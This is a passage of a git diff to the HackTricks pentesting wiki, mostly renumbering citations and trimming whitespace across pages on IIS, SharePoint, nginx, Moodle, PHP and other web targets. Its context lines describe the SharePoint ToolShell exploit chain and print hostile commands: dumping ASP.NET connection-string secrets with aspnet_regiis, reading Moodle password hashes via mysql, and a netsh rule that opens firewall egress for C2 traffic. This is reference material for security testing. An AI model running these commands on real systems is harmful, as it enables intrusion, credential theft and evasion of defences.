BigQuery](https://www.assetnote.io/resources/research/finding-hidden-files-and-folders-on-iis-using-bigquery) -- [5] [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/) -- [6] [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md) -- [7] [Microsoft – Introduction to ApplicationHost.config](https://learn.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/introduction-to-applicationhostconfig) -- [8] [Microsoft Threat Intelligence – Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) -- [9] [Zero Day Initiative – CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys](https://www.thezdi.com/blog/2026/7/9/cve-2026-47291-remote-code-execution-in-the-windows-httpsys) -- [10] [Microsoft MSRC – CVE-2026-47291](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291) +- [2] [Soroush Dalili – Upload a Web.Config File for Fun & Profit](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) +- [3] [Humiliating IIS Servers for Fun and Jail Time](https://mll.sh/humiliating-iis-servers-for-fun-and-jail-time) +- [4] [MindedSecurity – From Path Traversal to Source Code in ASP.NET/IIS](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) +- [5] [Windows Privilege Escalation Guide – absolomb](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +- [6] [Microsoft – Introduction to ApplicationHost.config](https://learn.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/introduction-to-applicationhostconfig) +- [7] [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/) +- [8] [Soroush Dalili – Microsoft IIS Tilde Character Vulnerability/Feature (original research PDF)](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) +- [9] [shortscan](https://github.com/bitquark/shortscan) +- [10] [Assetnote – Finding Hidden Files and Folders on IIS Using BigQuery](https://www.assetnote.io/resources/research/finding-hidden-files-and-folders-on-iis-using-bigquery) +- [11] [Rapid7 – ASP.NET Trace.axd Information Disclosure](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) +- [12] [How I Hacked Facebook, Part Two](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) +- [13] [Microsoft Threat Intelligence – Code injection attacks using publicly disclosed ASP.NET machine keys](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [14] [Orange Tsai – Let's Dance in the Cache: Destabilizing Hash Table on Microsoft IIS](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html) +- [15] [Zero Day Initiative – CVE-2026-47291: Remote Code Execution in the Windows HTTP.sys](https://www.thezdi.com/blog/2026/7/9/cve-2026-47291-remote-code-execution-in-the-windows-httpsys) +- [16] [Microsoft MSRC – CVE-2026-47291](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291) +- [17] [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index 48f904a6ac9..02b468a7739 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -141,5 +141,3 @@ Additional hardening: - [3] [ImagePanick PoC / Docker lab](https://github.com/e1abrador/ImagePanick/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/ispconfig.md b/src/network-services-pentesting/pentesting-web/ispconfig.md index 87efea9e5b7..ef5ed64a92d 100644 --- a/src/network-services-pentesting/pentesting-web/ispconfig.md +++ b/src/network-services-pentesting/pentesting-web/ispconfig.md @@ -88,8 +88,8 @@ find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zc ### Python PoC -A ready-to-use exploit automates token handling and payload delivery: -- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) +A ready-to-use exploit automates token handling and payload delivery:[[3]](#references) +- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)[[3]](#references) Example run: diff --git a/src/network-services-pentesting/pentesting-web/jboss.md b/src/network-services-pentesting/pentesting-web/jboss.md index 4e6b7a6f990..13fafbdb611 100644 --- a/src/network-services-pentesting/pentesting-web/jboss.md +++ b/src/network-services-pentesting/pentesting-web/jboss.md @@ -2,8 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} - - ## Enumeration and Exploitation Techniques When assessing the security of web applications, certain paths like _/web-console/ServerInfo.jsp_ and _/status?full=true_ are key for revealing **server details**. For JBoss servers, paths such as _/admin-console_, _/jmx-console_, _/management_, and _/web-console_ can be crucial. These paths might allow access to **management servlets** with default credentials often set to **admin/admin**. This access facilitates interaction with MBeans through specific servlets: @@ -21,9 +19,5 @@ To exploit vulnerabilities, resources such as [JexBoss](https://github.com/joaom Google Dorking can aid in identifying vulnerable servers with a query like: `inurl:status EJInvokerServlet` - - {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/jira.md b/src/network-services-pentesting/pentesting-web/jira.md index b09afbd1aa8..1bfa6df6a54 100644 --- a/src/network-services-pentesting/pentesting-web/jira.md +++ b/src/network-services-pentesting/pentesting-web/jira.md @@ -162,8 +162,6 @@ These are some of the actions a malicious plugin could perform: - **Reverse Shell**: Or get a reverse shell. - **DOM Proxying**: If the confluence is inside a private network, it would be possible to establish a connection through the browser of some user with access to it and for example contact the server command executing through it. - - ## References - [1] [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html) diff --git a/src/network-services-pentesting/pentesting-web/joomla.md b/src/network-services-pentesting/pentesting-web/joomla.md index 192f6d72e6a..4fa4bc5d656 100644 --- a/src/network-services-pentesting/pentesting-web/joomla.md +++ b/src/network-services-pentesting/pentesting-web/joomla.md @@ -125,5 +125,3 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi - [1] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md index 8342fe10b55..aa2d2da1923 100644 --- a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -27,15 +27,15 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx -`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.[[1]](#references)[[3]](#references) +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` allows arbitrary *Server-Side Include* code to be injected in the page which is later compiled by ASP.NET. An attacker can embed C# that executes `Process.Start()` and drop a malicious ViewState.[[1]](#references)[[2]](#references) ### 2.2 CVE-2025-49706 – Improper Authentication Bypass -The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.[[1]](#references)[[3]](#references) +The same page trusts the **X-Forms_BaseUrl** header to determine the site context. By pointing it to `/_layouts/15/`, MFA/SSO enforced at the root site can be bypassed **unauthenticated**.[[1]](#references)[[2]](#references) ### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE -Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.[[1]](#references)[[5]](#references) +Once the attacker controls a gadget in `ToolPane.aspx` they can post an **unsigned** (or MAC-only) `__VIEWSTATE` value that triggers .NET deserialization inside *w3wp.exe* leading to code execution.[[1]](#references)[[4]](#references) If signing is enabled, steal the **ValidationKey/DecryptionKey** from any `web.config` (see 2.4) and forge the payload with *ysoserial.net* or *ysodom*:[[1]](#references) @@ -52,14 +52,14 @@ For an in-depth explanation on abusing ASP.NET ViewState read: ### 2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure -Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:[[1]](#references)[[5]](#references) +Sending a crafted `Source` parameter to `ToolPane.aspx` (e.g. `../../../../web.config`) returns the targeted file, allowing leakage of:[[1]](#references)[[4]](#references) * `` ➜ forge ViewState / ASPXAUTH cookies * connection strings & secrets. ### 2.5 ToolShell workflow observed in Ink Dragon intrusions -Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:[[6]](#references) +Check Point mapped how Ink Dragon operationalised the ToolShell chain months before Microsoft shipped fixes:[[5]](#references) * **Header spoofing for auth bypass** – the actor sends POSTs to `/_layouts/15/ToolPane.aspx` with `Referer: https:///_layouts/15/` plus a fake `X-Forms_BaseUrl`. Those headers convince SharePoint that the request originates from a trusted layout and completely skip front-door authentication (CVE-2025-49706/CVE-2025-53771). * **Serialized gadget in the same request** – the body includes attacker-controlled ViewState/ToolPart data that reaches the vulnerable server-side formatter (CVE-2025-49704/CVE-2025-53770). The payload is usually a ysoserial.net chain that runs inside `w3wp.exe` without ever touching disk. @@ -111,7 +111,7 @@ Same shell but:[[1]](#references) ### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026) -Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain **after initial RCE** to deploy a dual-channel C2 implant and ransomware in SharePoint environments:[[4]](#references) +Recent incident-response investigations (Unit42 “Project AK47”) show how attackers leverage the ToolShell chain **after initial RCE** to deploy a dual-channel C2 implant and ransomware in SharePoint environments:[[3]](#references) #### AK47C2 – `dnsclient` variant @@ -160,24 +160,24 @@ Recent incident-response investigations (Unit42 “Project AK47”) show how att ### 3.5 Turning SharePoint loot into lateral movement -* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind ``. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.[[6]](#references) -* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.[[6]](#references) +* **Decrypt every protected section** – once seated on the web tier, abuse `aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri` (or `-px "appSettings"`) to dump the clear-text secrets hiding behind ``. Ink Dragon repeatedly harvested SQL logins, SMTP relays and custom service credentials this way.[[5]](#references) +* **Recycle app-pool accounts across farms** – many enterprises reuse the same domain account for `IIS APPPOOL\SharePoint` on every front-end. After decrypting `identity impersonate="..."` blocks or reading `ApplicationHost.config`, test the credential over SMB/RDP/WinRM to every sibling server. In multiple incidents the account was also a local administrator, allowing `psexec`, `sc create`, or scheduled-task staging without triggering password sprays.[[5]](#references) * **Abuse leaked `` values internally** – even if the internet perimeter gets patched, reusing the same `validationKey`/`decryptionKey` allows lateral ViewState exploitation between internal SharePoint zones that trust each other. ### 3.6 Persistence patterns witnessed in 2025 intrusions -* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st ` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.[[6]](#references) -* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.[[6]](#references) +* **Scheduled tasks** – a one-shot task named `SYSCHECK` (or other health-themed names) is created with `/ru SYSTEM /sc once /st ` to bootstrap the next-stage loader (commonly a renamed `conhost.exe`). Because it is run-once, telemetry often misses it unless historic task XML is preserved.[[5]](#references) +* **Masqueraded services** – services such as `WindowsTempUpdate`, `WaaSMaintainer`, or `MicrosoftTelemetryHost` are installed via `sc create` pointing at the sideloading triad directory. The binaries keep their original AMD/Realtek/NVIDIA signatures but are renamed to match Windows components; comparing the on-disk name with the `OriginalFileName` PE field is a quick integrity check.[[5]](#references) ### 3.7 Host firewall downgrades for relay traffic -Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:[[6]](#references) +Ink Dragon routinely adds a permissive outbound rule that masquerades as Defender maintenance so ShadowPad/FinalDraft traffic can exit on any port:[[5]](#references) ```cmd netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any ``` -Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.[[6]](#references) +Because the rule is created locally (not via GPO) and uses the legitimate Defender binary as `program=`, most SOC baselines ignore it, yet it opens **Any ➜ Any** egress.[[5]](#references) --- @@ -192,10 +192,10 @@ Because the rule is created locally (not via GPO) and uses the legitimate Defend ## References - [1] [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) -- [2] [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell) -- [3] [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) -- [4] [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) -- [5] [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) -- [6] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) +- [2] [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [3] [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/) +- [4] [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) +- [5] [Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/) +- [6] [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index fbddf572f14..368cdd94c49 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -172,8 +172,6 @@ find / -name "config.php" 2>/dev/null | grep "moodle/config.php" /usr/local/bin/mysql -u --password= -e "use moodle; select email,username,password from mdl_user; exit" ``` - - ## References - [1] [RedTeam Pentesting - Exploiting a Remote Code Execution Vulnerability in Moodle](https://blog.redteam-pentesting.de/2024/moodle-rce/) diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 1a21e622744..b58c256aba5 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -42,7 +42,7 @@ location /imgs/ { } ``` -More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) +More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)[[12]](#references) Accunetix tests: @@ -106,7 +106,7 @@ Location: https://example.com/ Detectify: clrf ``` -Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).[[13]](#references) Also this technique is [**explained in this talk**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) with some vulnerable examples and dectection mechanisms.[[14]](#references) For example, In order to detect this misconfiguration from a blackbox perspective you could these requests: @@ -246,11 +246,11 @@ By default, Nginx's **`merge_slashes` directive** is set to **`on`**, which comp To mitigate such risks, it is recommended to **turn the `merge_slashes` directive off** for applications susceptible to these vulnerabilities. This ensures that Nginx forwards requests to the application without altering the URL structure, thereby not masking any underlying security issues. -For more information check [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). +For more information check [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).[[16]](#references) ## `proxy_pass` path normalization & encoded slash confusion -A less obvious but very common reverse-proxy bug appears when a **prefix location** is combined with a `proxy_pass` that also contains a **URI path**. According to the [official `proxy_pass` docs](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), if a URI is present in `proxy_pass`, nginx forwards the **normalized** request URI to the backend. That means **percent-decoding** and **dot-segment normalization** happen before the upstream sees the path.[[7]](#references) +A less obvious but very common reverse-proxy bug appears when a **prefix location** is combined with a `proxy_pass` that also contains a **URI path**. According to the [official `proxy_pass` docs](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), if a URI is present in `proxy_pass`, nginx forwards the **normalized** request URI to the backend. That means **percent-decoding** and **dot-segment normalization** happen before the upstream sees the path.[[7]](#references)[[21]](#references) Example of risky configuration: @@ -309,7 +309,7 @@ If the path must be rewritten before proxying, preserve the **raw** request path ### **Malicious Response Headers** -As shown in [**this writeup**](https://mizu.re/post/cors-playground), there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy.[[17]](#references) You can check them [**in the docs**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): +As shown in [**this writeup**](https://mizu.re/post/cors-playground), there are certain headers that if present in the response from the web server they will change the behaviour of the Nginx proxy.[[17]](#references) You can check them [**in the docs**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):[[22]](#references) - `X-Accel-Redirect`: Indicate Nginx to internally redirect a request to a specified location. - `X-Accel-Buffering`: Controls whether Nginx should buffer the response or not. @@ -390,7 +390,7 @@ server { ## HTTP/2 upstream request injection with `proxy_set_body` -A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive. +A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive.[[4]](#references) This is especially interesting in internal API-gateway style deployments where nginx speaks HTTP/2 to the backend and the request body is rebuilt from user-controlled variables. Example audit pattern: @@ -563,7 +563,7 @@ Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulne - [1] [Common Nginx misconfigurations that leave your web server open to attack](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) - [2] [Nginx resolver vulnerabilities allow cache poisoning attack](http://blog.zorinaq.com/nginx-resolver-vulns/) - [3] [Detection of scenario when default is not specified for map directive · Issue #115 · yandex/gixy](https://github.com/yandex/gixy/issues/115) -- [4] [https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html](https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html) +- [4] [NVD - CVE-2026-42926: HTTP/2 request injection in ngx_http_proxy_v2_module](https://nvd.nist.gov/vuln/detail/CVE-2026-42926) - [5] [nginx security advisory (CVE-2025-23419)](https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html) - [6] [HTTP/2 Rapid Reset Attack Impacting F5 NGINX Products](https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products) - [7] [proxy_pass: nginx's Dangerous URL Normalization of Paths](https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous) @@ -579,5 +579,8 @@ Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulne - [17] [CORS Playground](https://mizu.re/post/cors-playground) - [18] [Research on h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)](https://bishopfox.com/blog/h2c-smuggling-request) - [19] [nginx security advisory (CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200)](https://mailman.nginx.org/pipermail/nginx-announce/2024/GMY32CSHFH6VFTN76HJNX7WNEX4RLHF6.html) +- [20] [https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html](https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html) +- [21] [nginx.org - Ngx Http Proxy Module: Proxy Pass](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass) +- [22] [nginx.com - in the docs](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/nodejs-express.md b/src/network-services-pentesting/pentesting-web/nodejs-express.md index 7e00332de03..db7610bfd05 100644 --- a/src/network-services-pentesting/pentesting-web/nodejs-express.md +++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md @@ -184,7 +184,7 @@ Interesting impacts: - Triggering state-changing handlers via CSRF when the application validates only the outer request method By default the middleware usually only overrides `POST`, so prioritize `POST` requests with header, body, and query-string override values. - + ## References - [1] [Express behind proxies - Express.js](https://expressjs.com/en/guide/behind-proxies.html) diff --git a/src/network-services-pentesting/pentesting-web/perl-tricks.md b/src/network-services-pentesting/pentesting-web/perl-tricks.md index 61745aa3ee2..9e87c669902 100644 --- a/src/network-services-pentesting/pentesting-web/perl-tricks.md +++ b/src/network-services-pentesting/pentesting-web/perl-tricks.md @@ -53,7 +53,7 @@ Vulnerability hunting - Patch-diff modules that assemble shell commands; look for inconsistent quoting between branches (e.g., if ($type eq 'login') left unescaped). - Grep for backticks, qx//, open\s*\(|\||, and system\s*\(\s*" to find string-based shells. Build a call graph from sink to request entry ($r) to verify pre-auth reachability. -Real-world case: Dell UnityVSA pre-auth RCE (CVE-2025-36604)[[1]](#references)[[2]](#references) +Real-world case: Dell UnityVSA pre-auth RCE (CVE-2025-36604)[[1]](#references)[[2]](#references)[[3]](#references) - Pre-auth command injection via backticks in AccessTool.pm:getCASURL when type == "login" concatenated raw $uri ($r->uri()). - Reachable through MOD_SEC_EMC::AccessHandler → make_return_address($r) → getCASLoginURL(..., type="login") → getCASURL(..., $uri, 'login'). - Practical nuance: use a resolvable path covered by the handler; otherwise the module won’t execute and the sink won’t be hit. @@ -65,6 +65,3 @@ Real-world case: Dell UnityVSA pre-auth RCE (CVE-2025-36604)[[1]](#referenc - [3] [watchTowr Detection Artefact Generator – Dell UnityVSA Pre‑Auth CVE‑2025‑36604](https://github.com/watchtowrlabs/watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 4b306a704c6..c8a71bd8c55 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -43,7 +43,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0e12334" == "0" --> True` This is very interesting because in some cases you can control the string input of "0" and some content that is being hashed and compared to it. Therefore, if you can provide a value that will create a hash starting with "0e" and without any letter, you could bypass the comparison. You can find **already hashed strings** with this format here: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Any letter in a string is equals to int 0 -More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)[[2]](#references) +More info in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)[[1]](#references) ### **in_array()** @@ -107,7 +107,7 @@ To bypass this check you could **send the value with new-lines urlencoded** (`%0 } ``` -Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)[[3]](#references) +Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)[[2]](#references) #### **Length error bypass** @@ -118,11 +118,11 @@ If you can send to `preg_match()` a valid very **large input**, it **won't be ab payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` -From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)[[4]](#references) +From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)[[3]](#references) #### ReDoS Bypass -Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)[[5]](#references)[[6]](#references) +Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) and [https://mizu.re/post/pong](https://mizu.re/post/pong)[[4]](#references)[[5]](#references)
@@ -180,7 +180,7 @@ Check: - The **PHPSESSION cookies of the same domain are stored in the same place**, therefore if within a domain **different cookies are used in different paths** you can make that a path **accesses the cookie of the path** setting the value of the other path cookie.\ This way if **both paths access a variable with the same name** you can make the **value of that variable in path1 apply to path2**. And then path2 will take as valid the variables of path1 (by giving the cookie the name that corresponds to it in path2). - When you have the **usernames** of the users of the machine. Check the address: **/\~\** to see if the php directories are activated. -- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).[[7]](#references) +- If a php config has **`register_argc_argv = On`** then query params separated by spaces are used to populate the array of arguments **`array_keys($_SERVER['argv'])`** like if they were **arguments from the CLI**. This is interesting because if that **setting is off**, the value of the **args array will be `Null`** when called from the web as the ars arry won't be populated. Therefore, if a web page tries to check if it’s running as a web or as a CLI tool with a comparison like `if (empty($_SERVER['argv'])) {` an attacker could send **parameters in the GET request like `?--configPath=/lalala`** and it will think it’s running as CLI and potential parse and use those arguments. More info in the [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).[[6]](#references) - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -200,7 +200,7 @@ True #### Causing error after setting headers -From 